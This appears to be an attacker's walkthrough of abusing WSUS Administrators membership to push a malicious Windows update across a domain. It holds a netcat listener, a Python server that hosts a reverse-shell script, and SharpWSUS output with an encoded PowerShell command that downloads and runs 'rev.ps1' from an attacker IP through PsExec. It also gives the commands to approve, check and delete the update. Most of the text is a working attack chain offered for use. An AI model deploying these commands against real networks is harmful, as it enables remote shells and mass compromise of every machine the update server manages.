The WSUS Administrators group is a local-scope group created in the server where the Windows Service Updates Services ( WSUS ) feature is installed and deployed
Its members have privileged rights over the WSUS Service, including:
Manage and Deploy Updates
Full Control over the WSUS Configuration
Approve, Revove, Create and Delete updates
As stated, this group is not a domain group, it exists in the WSUS server locally
Moreover, membership in this group does not grant any administrative privileges over the server in question
However, this group is considered highly privileged as any principal belonging to it can manage the mechanism responsible for distributing updates to managed devices
Therefore, an attacker could create and subsequently approve a malicious update and distribute it among the devices in question
Enumeration
Manual
Identifying the current Security Context
Privileges, membership, user information…
whoami /groupnet user <USER> # Or net user /domain <USER>
First, the attacker must compromise a domain or local account that belongs to the WSUS Administrators local group of a WSUS Server
Then, to met the requirements of this privesc vector, we must have remote or interactive access to the WSUS server as well, as we have to create and approve the malicious update
Similarly, once we’re inside the WSUS server, we can verify whether the server itself also receives and install the given updates by doing this
Typically, WSUS is deployed via GPO, and if the client GPO is linked to an OU that includes the WSUS server, then the server becomes a client of WSUS as well
If so, we can compromise the WSUS Server as well
To do so, it’s as simple as creating and approving a malicious udpate, which will perform the specified action during its creation
In this case, we can leverage a Microsoft-signed binary, such as PSExec from SysInternals, to execute an arbitrary command once the update is installed in the managed devices
With that done, it’s just a matter of time before the update installation is completed
Requirements
The controlled account must be a member of the WSUS Administrators Group
Physical/Remote Access to the WSUS Server ( WinRM, RDP, Reverse Shell… )
To create the malicious update
The distributed binary must be digitally signed by Microsoft
e.g. PSExec.exe from SYSInternals
The Target Machine must be configured to receive WSUS Updates
Windows
All that said, we are describing a situation where an operator compromise a WSUS server that is a WSUS client as well as its updates are managed by WSUS
So, once we have remote or interactive access to the WSUS server, just proceed as follows
HTTP Server to share the Rev. Shell script and TCP Listener to receive the incoming Shell
HTTP Server
python3 -m http.server 80
TCP Listener
rlwrap -CaR nc -nlvp <TCP_PORT>
Generating the Reverse Shell Oneliner
From the attacker ⚔️
To ensure a proper execution, we will generate from our side a powershell oneliner that will be passed to the PSExec command as argument ( Spawning Process )
[*] Action: Create Update[*] Creating patch to use the following:[*] Payload: PsExec64.exe[*] Payload Path: C:\Windows\temp\LPE\PsExec64.exe[*] Arguments: -accepteula -s -d Powershell.exe -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA2AC4AMQA4ADMALwByAGUAdgAuAHAAcwAxACIAKQA=[*] Arguments (HTML Encoded): -accepteula -s -d Powershell.exe -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA2AC4AMQA4ADMALwByAGUAdgAuAHAAcwAxACIAKQA=################# WSUS Server Enumeration via SQL ##################ServerName, WSUSPortNumber, WSUSContentLocation-----------------------------------------------DC, 8530, c:\WSUS\WsusContentImportUpdateUpdate Revision ID: 37PrepareXMLtoClientInjectURL2DownloadDeploymentRevisionPrepareBundlePrepareBundle Revision ID: 38PrepareXMLBundletoClientDeploymentRevision[*] Update created - When ready to deploy use the following command:[*] SharpWSUS.exe approve /updateid:8e12597a-f930-4f74-a06b-144471b42686 /computername:Target.FQDN /groupname:"Group Name"[*] To check on the update status use the following command:[*] SharpWSUS.exe check /updateid:8e12597a-f930-4f74-a06b-144471b42686 /computername:Target.FQDN[*] To delete the update use the following command:[*] SharpWSUS.exe delete /updateid:8e12597a-f930-4f74-a06b-144471b42686 /computername:Target.FQDN /groupname:"Group Name"[*] Create complete